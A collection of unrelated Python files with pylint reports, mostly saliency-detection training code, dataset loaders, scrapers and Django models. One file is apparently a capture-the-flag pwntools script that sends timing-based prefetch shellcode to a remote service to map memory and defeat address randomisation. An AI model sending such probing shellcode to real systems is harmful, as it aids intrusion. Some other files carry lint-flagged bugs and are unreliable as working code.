55 train_loader = DataLoader(train_set, batch_size=args['train_batch_size'], num_workers=0, shuffle=True, drop_last=True)#
56
57 log_path = os.path.join(ckpt_path, exp_name, str(datetime.datetime.now()) + '.txt')
58
59
60 def main():
61 net = SDCNet(num_classes = 5).cuda().train() #
62
63 print('training in ' + exp_name)
64 optimizer = optim.SGD([
65 {'params': [param for name, param in net.named_parameters() if name[-4:] == 'bias'],
66 'lr': 2 * args['lr']},
67 {'params': [param for name, param in net.named_parameters() if name[-4:] != 'bias'],
68 'lr': args['lr'], 'weight_decay': args['weight_decay']}
69 ], momentum=args['momentum'])
70
71 if len(args['snapshot']) > 0:
72 print('training resumes from ' + args['snapshot'])
73 net.load_state_dict(torch.load(os.path.join(ckpt_path, exp_name, args['snapshot'] + '.pth')))
74 optimizer.load_state_dict(torch.load(os.path.join(ckpt_path, exp_name, args['snapshot'] + '_optim.pth')))
75 optimizer.param_groups[0]['lr'] = 2 * args['lr']
76 optimizer.param_groups[1]['lr'] = args['lr']
77
78 check_mkdir(ckpt_path)
79 check_mkdir(os.path.join(ckpt_path, exp_name))
80 open(log_path, 'w').write(str(args) + '\n\n')
81 train(net, optimizer)
82
83
84 def train(net, optimizer):
85 start_time = time.time()
86 curr_iter = args['last_iter']
87 num_class = [0, 0, 0, 0, 0]
88 while True:
89 total_loss_record, loss0_record, loss1_record, loss2_record = AvgMeter(), AvgMeter(), AvgMeter(), AvgMeter()
90
91 batch_time = AvgMeter()
92 end = time.time()
93 print('-----begining the first stage, train_mode==0-----')
94 for i, data in enumerate(train_loader):
95 optimizer.param_groups[0]['lr'] = 2 * args['lr'] * (1 - float(curr_iter) / args['iter_num']
96 ) ** args['lr_decay']
97 optimizer.param_groups[1]['lr'] = args['lr'] * (1 - float(curr_iter) / args['iter_num']
98 ) ** args['lr_decay']
99
100 inputs, gt, labels = data
101 print(labels)
102 # depends on the num of classes
103 cweight = torch.tensor([0.5, 0.75, 1, 1.25, 1.5])
104 #weight = torch.ones(size=gt.shape)
105 weight = gt.clone().detach()
106 sizec = labels.numpy()
107 #ta = np.zeros(shape=gt.shape)
108 '''
109 np.zeros(shape=labels.shape)
110 sc = gt.clone().detach()
111 for i in range(len(sizec)):
112 gta = np.array(to_pil(sc[i,:].data.squeeze(0).cpu()))#
113 #print(gta.shape)
114 labels[i] = cal_sc(gta)
115 sizec[i] = labels[i]
116 print(labels)
117 '''
118 batch_size = inputs.size(0)
119 inputs = Variable(inputs).cuda()
120 gt = Variable(gt).cuda()
121 labels = Variable(labels).cuda()
122
123 #print(sizec.shape)
124
125 optimizer.zero_grad()
126 p5, p4, p3, p2, p1, predict1, predict2, predict3, predict4, predict5, predict6, predict7, predict8, predict9, predict10, predict11 = net(inputs, sizec) # mode=1
127
128 criterion = nn.BCEWithLogitsLoss().cuda()
129 criterion2 = nn.CrossEntropyLoss().cuda()
130
131 gt2 = gt.long()
132 gt2 = gt2.squeeze(1)
133
134 l5 = criterion2(p5, gt2)
135 l4 = criterion2(p4, gt2)
136 l3 = criterion2(p3, gt2)
137 l2 = criterion2(p2, gt2)
138 l1 = criterion2(p1, gt2)
139
140 loss0 = criterion(predict11, gt)
141 loss10 = criterion(predict10, gt)
142 loss9 = criterion(predict9, gt)
143 loss8 = criterion(predict8, gt)
144 loss7 = criterion(predict7, gt)
145 loss6 = criterion(predict6, gt)
146 loss5 = criterion(predict5, gt)
147 loss4 = criterion(predict4, gt)
148 loss3 = criterion(predict3, gt)
149 loss2 = criterion(predict2, gt)
150 loss1 = criterion(predict1, gt)
151
152 total_loss = l1 + l2 + l3 + l4 + l5 + loss0 + loss1 + loss2 + loss3 + loss4 + loss5 + loss6 + loss7 + loss8 + loss9 + loss10
153
154 total_loss.backward()
155 optimizer.step()
156
157 total_loss_record.update(total_loss.item(), batch_size)
158 loss1_record.update(l5.item(), batch_size)
159 loss0_record.update(loss0.item(), batch_size)
160
161 curr_iter += 1.0
162 batch_time.update(time.time() - end)
163 end = time.time()
164
165 log = '[iter %d], [R1/Mode0], [total loss %.5f]\n' \
166 '[l5 %.5f], [loss0 %.5f]\n' \
167 '[lr %.13f], [time %.4f]' % \
168 (curr_iter, total_loss_record.avg, loss1_record.avg, loss0_record.avg, optimizer.param_groups[1]['lr'],
169 batch_time.avg)
170 print(log)
171 print('Num of class:', num_class)
172 open(log_path, 'a').write(log + '\n')
173
174 if curr_iter == args['iter_num']:
175 torch.save(net.state_dict(), os.path.join(ckpt_path, exp_name, '%d.pth' % curr_iter))
176 torch.save(optimizer.state_dict(),
177 os.path.join(ckpt_path, exp_name, '%d_optim.pth' % curr_iter))
178 total_time = time.time() - start_time
179 print(total_time)
180 return
181
182
183 if __name__ == '__main__':
184 main()
| 16 - error: no-name-in-module
80 - refactor: consider-using-with
80 - warning: unspecified-encoding
84 - refactor: too-many-locals
108 - warning: pointless-string-statement
172 - refactor: consider-using-with
172 - warning: unspecified-encoding
84 - refactor: too-many-statements
89 - warning: unused-variable
94 - warning: unused-variable
103 - warning: unused-variable
105 - warning: unused-variable
12 - warning: unused-import
15 - warning: unused-import
15 - warning: unused-import
17 - warning: unused-import
18 - warning: unused-import
|
1 import numpy as np
2 import os
3
4 import torch
5 from PIL import Image
6 from torch.autograd import Variable
7 from torchvision import transforms
8 from torch.utils.data import DataLoader
9 import matplotlib.pyplot as plt
10 import pandas as pd
11 from tqdm import tqdm
12 import cv2
13 import numpy as np
14
15 from config import ecssd_path, hkuis_path, pascals_path, sod_path, dutomron_path, MTDD_test_path
16 from misc import check_mkdir, crf_refine, AvgMeter, cal_precision_recall_mae, cal_fmeasure
17 from datasets import TestFolder_joint
18 import joint_transforms
19 from model import HSNet_single1, HSNet_single1_ASPP, HSNet_single1_NR, HSNet_single2, SDMS_A, SDMS_C
20
21 torch.manual_seed(2018)
22
23 # set which gpu to use
24 torch.cuda.set_device(0)
25
26 ckpt_path = './ckpt'
27 test_path = './test_ECSSD.csv'
28
29
30 def main():
31 img = np.zeros((512, 512),dtype = np.uint8)
32 img2 = cv2.imread('./0595.PNG', 0)
33 cv2.imshow('img',img2)
34 #cv2.waitKey(0)
35 print(img, img2)
36 Image.fromarray(img).save('./free.png')
37
38
39
40 if __name__ == '__main__':
41 main()
| 13 - warning: reimported
17 - error: no-name-in-module
2 - warning: unused-import
6 - warning: unused-import
7 - warning: unused-import
8 - warning: unused-import
9 - warning: unused-import
10 - warning: unused-import
11 - warning: unused-import
15 - warning: unused-import
15 - warning: unused-import
15 - warning: unused-import
15 - warning: unused-import
15 - warning: unused-import
15 - warning: unused-import
16 - warning: unused-import
16 - warning: unused-import
16 - warning: unused-import
16 - warning: unused-import
16 - warning: unused-import
17 - warning: unused-import
18 - warning: unused-import
19 - warning: unused-import
19 - warning: unused-import
19 - warning: unused-import
19 - warning: unused-import
19 - warning: unused-import
19 - warning: unused-import
|
1 import os
2 import os.path
3
4 import torch.utils.data as data
5 from PIL import Image
6
7
8 class ImageFolder_joint(data.Dataset):
9 # image and gt should be in the same folder and have same filename except extended name (jpg and png respectively)
10 def __init__(self, label_list, joint_transform=None, transform=None, target_transform=None):
11 imgs = []
12 self.label_list = label_list
13 for index, row in label_list.iterrows():
14 imgs.append((row['img_path'], row['gt_path'], row['label']))
15 self.imgs = imgs
16 self.joint_transform = joint_transform
17 self.transform = transform
18 self.target_transform = target_transform
19
20 def __len__(self):
21 return len(self.label_list)
22
23 def __getitem__(self, index):
24 img_path, gt_path, label = self.imgs[index]
25 img = Image.open(img_path).convert('RGB')
26 target = Image.open(gt_path).convert('L')
27 if self.joint_transform is not None:
28 img, target = self.joint_transform(img, target)
29 if self.transform is not None:
30 img = self.transform(img)
31 if self.target_transform is not None:
32 target = self.target_transform(target)
33
34 return img, target, label
35
36 class ImageFolder_joint_for_edge(data.Dataset):
37 # image and gt should be in the same folder and have same filename except extended name (jpg and png respectively)
38 def __init__(self, label_list, joint_transform=None, transform=None, target_transform=None):
39 imgs = []
40 for index, row in label_list.iterrows():
41 imgs.append((row['img_path'], row['gt_path'], row['label']))
42 self.imgs = imgs
43 self.joint_transform = joint_transform
44 self.transform = transform
45 self.target_transform = target_transform
46
47 def __getitem__(self, index):
48 img_path, gt_path, label = self.imgs[index]
49 edge_path = "."+gt_path.split(".")[1]+"_edge."+gt_path.split(".")[2]
50 img = Image.open(img_path).convert('RGB')
51 target = Image.open(gt_path).convert('L')
52 target_edge = Image.open(edge_path).convert('L')
53 if self.joint_transform is not None:
54 if img.size != target.size or img.size != target_edge.size:
55 print("error path:", img_path, gt_path)
56 print("size:", img.size, target.size, target_edge.size)
57 img, target, target_edge = self.joint_transform(img, target, target_edge)
58 if self.transform is not None:
59 img = self.transform(img)
60 if self.target_transform is not None:
61 target = self.target_transform(target)
62 target_edge = self.target_transform(target_edge)
63
64 return img, target, target_edge, label
65
66 def __len__(self):
67 return len(self.imgs)
68
69 class TestFolder_joint(data.Dataset):
70 # image and gt should be in the same folder and have same filename except extended name (jpg and png respectively)
71 def __init__(self, label_list, joint_transform=None, transform=None, target_transform=None):
72 imgs = []
73 for index, row in label_list.iterrows():
74 imgs.append((row['img_path'], row['gt_path'], row['label']))
75 self.imgs = imgs
76 self.joint_transform = joint_transform
77 self.transform = transform
78 self.target_transform = target_transform
79
80 def __getitem__(self, index):
81 img_path, gt_path, label = self.imgs[index]
82 img = Image.open(img_path).convert('RGB')
83 target = Image.open(gt_path).convert('L')
84 if self.joint_transform is not None:
85 img, target = self.joint_transform(img, target)
86 if self.transform is not None:
87 img = self.transform(img)
88 if self.target_transform is not None:
89 target = self.target_transform(target)
90
91 return img, target, label, img_path
92
93 def __len__(self):
94 return len(self.imgs)
95
96
97 def make_dataset(root):
98 img_list = [os.path.splitext(f)[0] for f in os.listdir(root) if f.endswith('.jpg')]
99 return [(os.path.join(root, img_name + '.jpg'), os.path.join(root, img_name + '.png')) for img_name in img_list]
100
101
102 class ImageFolder(data.Dataset):
103 # image and gt should be in the same folder and have same filename except extended name (jpg and png respectively)
104 def __init__(self, root, joint_transform=None, transform=None, target_transform=None):
105 self.root = root
106 self.imgs = make_dataset(root)
107 self.joint_transform = joint_transform
108 self.transform = transform
109 self.target_transform = target_transform
110
111 def __getitem__(self, index):
112 img_path, gt_path = self.imgs[index]
113 img = Image.open(img_path).convert('RGB')
114 target = Image.open(gt_path).convert('L')
115 if self.joint_transform is not None:
116 img, target = self.joint_transform(img, target)
117 if self.transform is not None:
118 img = self.transform(img)
119 if self.target_transform is not None:
120 target = self.target_transform(target)
121
122 return img, target
123
124 def __len__(self):
125 return len(self.imgs)
| 4 - refactor: consider-using-from-import
13 - warning: unused-variable
40 - warning: unused-variable
73 - warning: unused-variable
|
1 import numpy as np
2 import os
3
4 import torch
5 from PIL import Image
6 from torch.autograd import Variable
7 from torchvision import transforms
8 from torch.utils.data import DataLoader
9 import matplotlib.pyplot as plt
10 import pandas as pd
11 from tqdm import tqdm
12
13 path_list = ['msra10k', 'ECSSD', 'DUT-OMROM', 'DUTS-TR', 'DUTS-TE', 'HKU-IS', 'PASCAL-S', 'SED2', 'SOC', 'SOD', 'THUR-15K']
14
15 def main():
16 Dataset, Class0, Class1, Class2, Class3, Class4, Class5, Class6, Class7, Class8, Class9, Class10, Total = [], [], [], [], [], [], [], [], [], [], [], [], []
17 for data_path in path_list:
18 test_path = './SOD_label/label_' + data_path + '.csv'
19 print('Evalute for ' + test_path)
20 test_data = pd.read_csv(test_path)
21 imgs = []
22 num, c0, c1, c2, c3, c4, c5, c6, c7, c8, c9, c10 = 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
23 for index, row in test_data.iterrows():
24 imgs.append((row['img_path'], row['gt_path'], row['label']))
25 img_path, gt_path, label = imgs[index]
26
27 if label == 0:
28 c0 += 1
29 elif label == 1:
30 c1 += 1
31 elif label == 2:
32 c2 += 1
33 elif label == 3:
34 c3 += 1
35 elif label == 4:
36 c4 += 1
37 elif label == 5:
38 c5 += 1
39 elif label == 6:
40 c6 += 1
41 elif label == 7:
42 c7 += 1
43 elif label == 8:
44 c8 += 1
45 elif label == 9:
46 c9 += 1
47 elif label == 10:
48 c10 += 1
49 num += 1
50 print('[Class0 %.f], [Class1 %.f], [Class2 %.f], [Class3 %.f]\n'\
51 '[Class4 %.f], [Class5 %.f], [Class6 %.f], [Class7 %.f]\n'\
52 '[Class8 %.f], [Class9 %.f], [Class10 %.f], [Total %.f]\n'%\
53 (c0, c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, num)
54 )
55 Dataset.append(data_path)
56 Class0.append(c0)
57 Class1.append(c1)
58 Class2.append(c2)
59 Class3.append(c3)
60 Class4.append(c4)
61 Class5.append(c5)
62 Class6.append(c6)
63 Class7.append(c7)
64 Class8.append(c8)
65 Class9.append(c9)
66 Class10.append(c10)
67 Total.append(num)
68
69 label_file = pd.DataFrame({'Datasets': Dataset, 'Class 0': Class0, 'Class 1': Class1, 'Class 2': Class2, 'Class 3': Class3, 'Class 4': Class4, 'Class 5': Class5, 'Class 6': Class6, 'Class 7': Class7, 'Class 8': Class8, 'Class 9': Class9, 'Class 10': Class10, 'Num of Pic': Total})
70 label_file = label_file[['Datasets', 'Class 0', 'Class 1', 'Class 2', 'Class 3', 'Class 4', 'Class 5', 'Class 6', 'Class 7', 'Class 8', 'Class 9', 'Class 10', 'Num of Pic']]
71
72 label_file.to_csv('./Dataset_statistics.csv', index=False)
73
74 if __name__ == '__main__':
75 main()
| 15 - refactor: too-many-locals
15 - refactor: too-many-branches
25 - warning: unused-variable
25 - warning: unused-variable
1 - warning: unused-import
2 - warning: unused-import
4 - warning: unused-import
5 - warning: unused-import
6 - warning: unused-import
7 - warning: unused-import
8 - warning: unused-import
9 - warning: unused-import
11 - warning: unused-import
|
1 from setuptools import setup
2
3 setup(
4 name='pyhfss_parser',
5 version='0.0.0',
6 packages=['', 'venv.Lib.site-packages.py', 'venv.Lib.site-packages.py._io', 'venv.Lib.site-packages.py._log',
7 'venv.Lib.site-packages.py._code', 'venv.Lib.site-packages.py._path',
8 'venv.Lib.site-packages.py._process', 'venv.Lib.site-packages.py._vendored_packages',
9 'venv.Lib.site-packages.pip', 'venv.Lib.site-packages.pip._vendor',
10 'venv.Lib.site-packages.pip._vendor.idna', 'venv.Lib.site-packages.pip._vendor.pytoml',
11 'venv.Lib.site-packages.pip._vendor.certifi', 'venv.Lib.site-packages.pip._vendor.chardet',
12 'venv.Lib.site-packages.pip._vendor.chardet.cli', 'venv.Lib.site-packages.pip._vendor.distlib',
13 'venv.Lib.site-packages.pip._vendor.distlib._backport', 'venv.Lib.site-packages.pip._vendor.msgpack',
14 'venv.Lib.site-packages.pip._vendor.urllib3', 'venv.Lib.site-packages.pip._vendor.urllib3.util',
15 'venv.Lib.site-packages.pip._vendor.urllib3.contrib',
16 'venv.Lib.site-packages.pip._vendor.urllib3.contrib._securetransport',
17 'venv.Lib.site-packages.pip._vendor.urllib3.packages',
18 'venv.Lib.site-packages.pip._vendor.urllib3.packages.backports',
19 'venv.Lib.site-packages.pip._vendor.urllib3.packages.ssl_match_hostname',
20 'venv.Lib.site-packages.pip._vendor.colorama', 'venv.Lib.site-packages.pip._vendor.html5lib',
21 'venv.Lib.site-packages.pip._vendor.html5lib._trie',
22 'venv.Lib.site-packages.pip._vendor.html5lib.filters',
23 'venv.Lib.site-packages.pip._vendor.html5lib.treewalkers',
24 'venv.Lib.site-packages.pip._vendor.html5lib.treeadapters',
25 'venv.Lib.site-packages.pip._vendor.html5lib.treebuilders', 'venv.Lib.site-packages.pip._vendor.lockfile',
26 'venv.Lib.site-packages.pip._vendor.progress', 'venv.Lib.site-packages.pip._vendor.requests',
27 'venv.Lib.site-packages.pip._vendor.packaging', 'venv.Lib.site-packages.pip._vendor.cachecontrol',
28 'venv.Lib.site-packages.pip._vendor.cachecontrol.caches',
29 'venv.Lib.site-packages.pip._vendor.webencodings', 'venv.Lib.site-packages.pip._vendor.pkg_resources',
30 'venv.Lib.site-packages.pip._internal', 'venv.Lib.site-packages.pip._internal.req',
31 'venv.Lib.site-packages.pip._internal.vcs', 'venv.Lib.site-packages.pip._internal.utils',
32 'venv.Lib.site-packages.pip._internal.models', 'venv.Lib.site-packages.pip._internal.commands',
33 'venv.Lib.site-packages.pip._internal.operations', 'venv.Lib.site-packages.attr',
34 'venv.Lib.site-packages.pluggy', 'venv.Lib.site-packages._pytest', 'venv.Lib.site-packages._pytest.mark',
35 'venv.Lib.site-packages._pytest._code', 'venv.Lib.site-packages._pytest.config',
36 'venv.Lib.site-packages._pytest.assertion', 'venv.Lib.site-packages.colorama',
37 'venv.Lib.site-packages.atomicwrites', 'venv.Lib.site-packages.parsimonious',
38 'venv.Lib.site-packages.parsimonious.tests', 'venv.Lib.site-packages.more_itertools',
39 'venv.Lib.site-packages.more_itertools.tests', 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip',
40 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip.req',
41 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip.vcs',
42 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip.utils',
43 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip.compat',
44 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip.models',
45 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor',
46 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.distlib',
47 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.distlib._backport',
48 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.colorama',
49 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.html5lib',
50 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.html5lib._trie',
51 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.html5lib.filters',
52 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.html5lib.treewalkers',
53 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.html5lib.treeadapters',
54 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.html5lib.treebuilders',
55 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.lockfile',
56 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.progress',
57 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.requests',
58 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.requests.packages',
59 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.requests.packages.chardet',
60 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.requests.packages.urllib3',
61 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.requests.packages.urllib3.util',
62 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.requests.packages.urllib3.contrib',
63 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.requests.packages.urllib3.packages',
64 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.requests.packages.urllib3.packages.ssl_match_hostname',
65 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.packaging',
66 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.cachecontrol',
67 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.cachecontrol.caches',
68 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.webencodings',
69 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip._vendor.pkg_resources',
70 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip.commands',
71 'venv.Lib.site-packages.pip-9.0.1-py3.7.egg.pip.operations'],
72 url='',
73 license='MIT',
74 author='Ariksu',
75 author_email='ariksu@gmail.com',
76 description='Attempt to write peg-parser for .hfss'
77 )
| Clean Code: No Issues Detected
|
1 from pwn import *
2 import time
3
4 context.update(arch='x86', bits=64)
5
6 iteration = 0x1000
7 cache_cycle = 0x10000000
8
9 shellcode = asm('''
10 _start:
11 mov rdi, 0x200000000
12 mov rsi, 0x300000000
13 mov rbp, 0
14 loop_start:
15 rdtsc
16 shl rdx, 32
17 or rax, rdx
18 push rax
19 mov rax, rdi
20 mov rdx, %d
21 a:
22 mov rcx, 0x1000
23 a2:
24 prefetcht1 [rax+rcx]
25 loop a2
26 dec edx
27 cmp edx, 0
28 ja a
29 b:
30 rdtsc
31 shl rdx, 32
32 or rax, rdx
33 pop rbx
34 sub rax, rbx
35 cmp rax, %d
36 jb exists
37 mov byte ptr [rsi], 1
38 jmp next
39 exists:
40 mov byte ptr [rsi], 0
41 next:
42 inc rsi
43 inc rbp
44 add rdi, 0x2000
45 cmp rbp, 64
46 jne loop_start
47 end:
48 int3
49 ''' % (iteration, cache_cycle))
50 HOST, PORT = '0.0.0.0', 31337
51 HOST, PORT = '202.120.7.198', 13579
52 r = remote(HOST, PORT)
53 p = time.time()
54 r.send(p32(len(shellcode)) + shellcode)
55 print r.recvall()
56 print time.time() - p
57
| 55 - error: syntax-error
|
1 assembly = '''
2 7328- 400560: c5 f9 6e c7 vmovd %edi,%xmm0
3 7378- 400564: c4 e2 7d 58 c0 vpbroadcastd %xmm0,%ymm0
4 7435- 400569: c5 fd 76 0e vpcmpeqd (%rsi),%ymm0,%ymm1
5 7495- 40056d: c5 fd 76 56 20 vpcmpeqd 0x20(%rsi),%ymm0,%ymm2
6 7559- 400572: c5 fd 76 5e 40 vpcmpeqd 0x40(%rsi),%ymm0,%ymm3
7 7623- 400577: c5 fd 76 86 80 00 00 vpcmpeqd 0x80(%rsi),%ymm0,%ymm0
8 7687- 40057e: 00
9 7701- 40057f: c5 f5 6b ca vpackssdw %ymm2,%ymm1,%ymm1
10 7761- 400583: c5 e5 6b c0 vpackssdw %ymm0,%ymm3,%ymm0
11 7821- 400587: c5 f5 63 c0 vpacksswb %ymm0,%ymm1,%ymm0
12 7881- 40058b: c5 fd d7 c0 vpmovmskb %ymm0,%eax
13 7934- 40058f: c5 f8 77 vzeroupper
14 '''
15
16 print(assembly)
17 lines = assembly.strip().splitlines()
18 i = 0
19 while True:
20 if i >= len(lines):
21 break
22 line = lines[i]
23 i += 1
24 line = line[line.find(':') + 3:]
25 byte1 = line[:2] if len(line) >= 2 else ' '
26 byte2 = line[3:5] if len(line) >= 5 else ' '
27 byte3 = line[6:8] if len(line) >= 8 else ' '
28 byte4 = line[9:11] if len(line) >= 11 else ' '
29 byte5 = line[12:14] if len(line) >= 14 else ' '
30 byte6 = line[15:17] if len(line) >= 17 else ' '
31 byte7 = line[18:20] if len(line) >= 20 else ' '
32 if byte6 != ' ':
33 comment = line[24:]
34 line = lines[i]
35 i += 1
36 line = line[line.find(':') + 3:]
37 byte8 = line[:2] if len(line) >= 2 else ' '
38 print(' QUAD $0x%s%s%s%s%s%s%s%s // %s' % (byte8, byte7, byte6, byte5, byte4, byte3, byte2, byte1, comment))
39 elif byte5 != ' ':
40 print(' LONG $0x%s%s%s%s; BYTE $0x%s // %s' % (byte4, byte3, byte2, byte1, byte5, line[24:]))
41 elif byte4 != ' ':
42 print(' LONG $0x%s%s%s%s // %s' % (byte4, byte3, byte2, byte1, line[24:]))
43 elif byte3 != ' ':
44 print(' WORD $0x%s%s; BYTE $0x%s // %s' % (byte2, byte1, byte3, line[24:]))
| Clean Code: No Issues Detected
|
1 from white_board import WhiteBoard
2 import json
3
4 '''
5 This file is used to run locally or to debug
6 '''
7
8 with open('config.json') as json_file:
9 start_config = json.load(json_file)
10
11
12 def main():
13 board = WhiteBoard("client", start_config)
14 board.start_local()
15
16
17 if __name__ == '__main__':
18 main()
| 4 - warning: pointless-string-statement
8 - warning: unspecified-encoding
|
1 import socket
2 import json
3 import sys
4 import math
5 from white_board import WhiteBoard, binary_to_dict
6
7 '''
8 Ouverture de la configuration initiale stockée dans config.json qui contient le mode d'écriture, la couleur et
9 la taille d'écriture.
10 Ces Paramètres sont ensuite à modifier par l'utisateur dans l'interface pygame
11 '''
12
13 with open('config.json') as json_file:
14 start_config = json.load(json_file)
15
16 '''
17 définition de l'adresse IP du serveur. Ici le serveur est en local.
18 '''
19 hote = start_config["ip_serveur"]
20
21 port = 5001
22
23
24 def main():
25 """
26 Création d'un socket pour communiquer via un protocole TCP/IP
27 """
28 connexion_avec_serveur = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
29 # Connexion au serveur
30 try:
31 connexion_avec_serveur.connect((hote, port))
32 except (TimeoutError, ConnectionRefusedError, ConnectionResetError, ConnectionAbortedError) as e:
33 return print("Le serveur n'a pas répondu, vérifiez les paramètres de connexion")
34 print("Connexion réussie avec le serveur")
35
36 # First get the client id
37 username = binary_to_dict(connexion_avec_serveur.recv(2 ** 16))["client_id"]
38
39 # Second get the message size
40 msg_recu = connexion_avec_serveur.recv(2 ** 8)
41 message_size = binary_to_dict(msg_recu)["message_size"]
42
43 # Then get the first chunk of history using the number of byte equal to the power of 2 just above its size
44 msg_recu = connexion_avec_serveur.recv(2 ** int(math.log(message_size, 2) + 1))
45 total_size_received = sys.getsizeof(msg_recu)
46
47 # One we get the first chunk, we loop until we get the whole history
48 while total_size_received < message_size:
49 msg_recu += connexion_avec_serveur.recv(2 ** int(math.log(message_size, 2) + 1))
50
51 total_size_received = sys.getsizeof(msg_recu)
52 msg_decode = binary_to_dict(msg_recu)
53 hist = msg_decode
54
55 # Après réception de l'état du whiteboard, c'est à dire des figures et textboxes déjà dessinées par des utilisateurs
56 # précédents, le programme lance un whiteboard
57 whiteboard = WhiteBoard(username, start_config, hist)
58 whiteboard.start(connexion_avec_serveur)
59
60
61 if __name__ == '__main__':
62 main()
| 7 - warning: pointless-string-statement
13 - warning: unspecified-encoding
16 - warning: pointless-string-statement
24 - refactor: inconsistent-return-statements
32 - warning: unused-variable
|
1 from oauth2_provider.views.generic import ProtectedResourceView
2 from django.http import HttpResponse | 1 - warning: unused-import
2 - warning: unused-import
|
1 # This script is written under the username admin, with project name Retrofm
2 # Change the class name AdminRetrofmSpider accordingly
3 import datetime
4
5 _start_date = datetime.date(2012, 12, 25)
6 _initial_date = datetime.date(2012, 12, 25)
7 _priority = 0
8 start_urls = ['http://retrofm.ru']
9
10
11 def parse(self, response):
12 while AdminRetrofmSpider._start_date < self.datetime.date.today():
13 AdminRetrofmSpider._priority -= 1
14 AdminRetrofmSpider._start_date += self.datetime.timedelta(days=1)
15 theurlstart = 'http://retrofm.ru/index.php?go=Playlist&date=%s' % (
16 AdminRetrofmSpider._start_date.strftime("%d.%m.%Y"))
17 theurls = []
18 theurls.append(theurlstart + '&time_start=17%3A00&time_stop=23%3A59')
19 theurls.append(theurlstart + '&time_start=11%3A00&time_stop=17%3A01')
20 theurls.append(theurlstart + '&time_start=05%3A00&time_stop=11%3A01')
21 theurls.append(theurlstart + '&time_start=00%3A00&time_stop=05%3A01')
22
23 for theurl in theurls:
24 request = Request(theurl, method="GET",
25 dont_filter=True, priority=(AdminRetrofmSpider._priority), callback=self.parse)
26 self.insert_link(request) | 12 - warning: protected-access
12 - error: undefined-variable
13 - error: undefined-variable
14 - error: undefined-variable
16 - warning: protected-access
16 - error: undefined-variable
24 - error: undefined-variable
25 - warning: protected-access
25 - error: undefined-variable
11 - warning: unused-argument
|
1 # -*- coding: utf-8 -*-
2
3 # Define here the models for your scraped items
4 #
5 # See documentation in:
6 # https://doc.scrapy.org/en/latest/topics/items.html
7
8 import scrapy
9 from scrapy.item import Item ,Field
10
11 from scrapy.loader import ItemLoader
12 from scrapy.loader.processors import TakeFirst, MapCompose, Join
13
14 class DemoLoader(ItemLoader):
15 default_output_processor = TakeFirst()
16 title_in = MapCompose(unicode.title)
17 title_out = Join()
18 size_in = MapCompose(unicode.strip)
19 # you can continue scraping here
20 class DemoItem(scrapy.Item):
21
22
23 # define the fields for your item here like:
24 product_title = scrapy.Field()
25 product_link = scrapy.Field()
26
27 product_description = scrapy.Field()
28
29 pass
| 15 - warning: bad-indentation
16 - warning: bad-indentation
17 - warning: bad-indentation
18 - warning: bad-indentation
16 - error: undefined-variable
18 - error: undefined-variable
14 - refactor: too-few-public-methods
29 - warning: unnecessary-pass
20 - refactor: too-few-public-methods
9 - warning: unused-import
9 - warning: unused-import
|
1 from django.db import models
2 from blog.models import Post
3 # Creating a comment systems
4 class Comment(models.Model):
5 post = models.ForeignKey(Post,
6 on_delete=models.CASCADE,
7 related_name='comments')
8 name=models.CharField(max_length=200)
9 email=models.EmailField()
10 body=models.TextField()
11 created=models.DateTimeField(auto_now_add=True)
12 updated=models.DateTimeField(auto_now_add=True)
13 active=models.BooleanField(default=True)
14
15 class Meta:
16 ordering=('created',)
17
18 def __str__(self):
19 return f'comment by {self.name}on{self.post}'
20
21
| 15 - refactor: too-few-public-methods
4 - refactor: too-few-public-methods
|
1 from django.db import models
2 from django.contrib.auth.models import User
3
4
5 class Project(models.Model):
6 project_name = models.CharField(max_length=50)
7 user = models.ForeignKey(User)
8 link_generator = models.TextField(blank=True)
9 scraper_function = models.TextField(blank=True)
10 settings_scraper = models.TextField(blank=True)
11 settings_link_generator = models.TextField(blank=True)
12
13 def __str__(self):
14 return "%s by %s" % (self.project_name, self.user.username)
15
16
17 class Item(models.Model):
18 item_name = models.CharField(max_length=50)
19 project = models.ForeignKey(Project, on_delete=models.CASCADE)
20
21 def __str__(self):
22 return self.item_name
23
24
25 class Field(models.Model):
26 field_name = models.CharField(max_length=50)
27 item = models.ForeignKey(Item, on_delete=models.CASCADE)
28
29 def __str__(self):
30 return self.field_name
31
32
33 class Pipeline(models.Model):
34 pipeline_name = models.CharField(max_length=50)
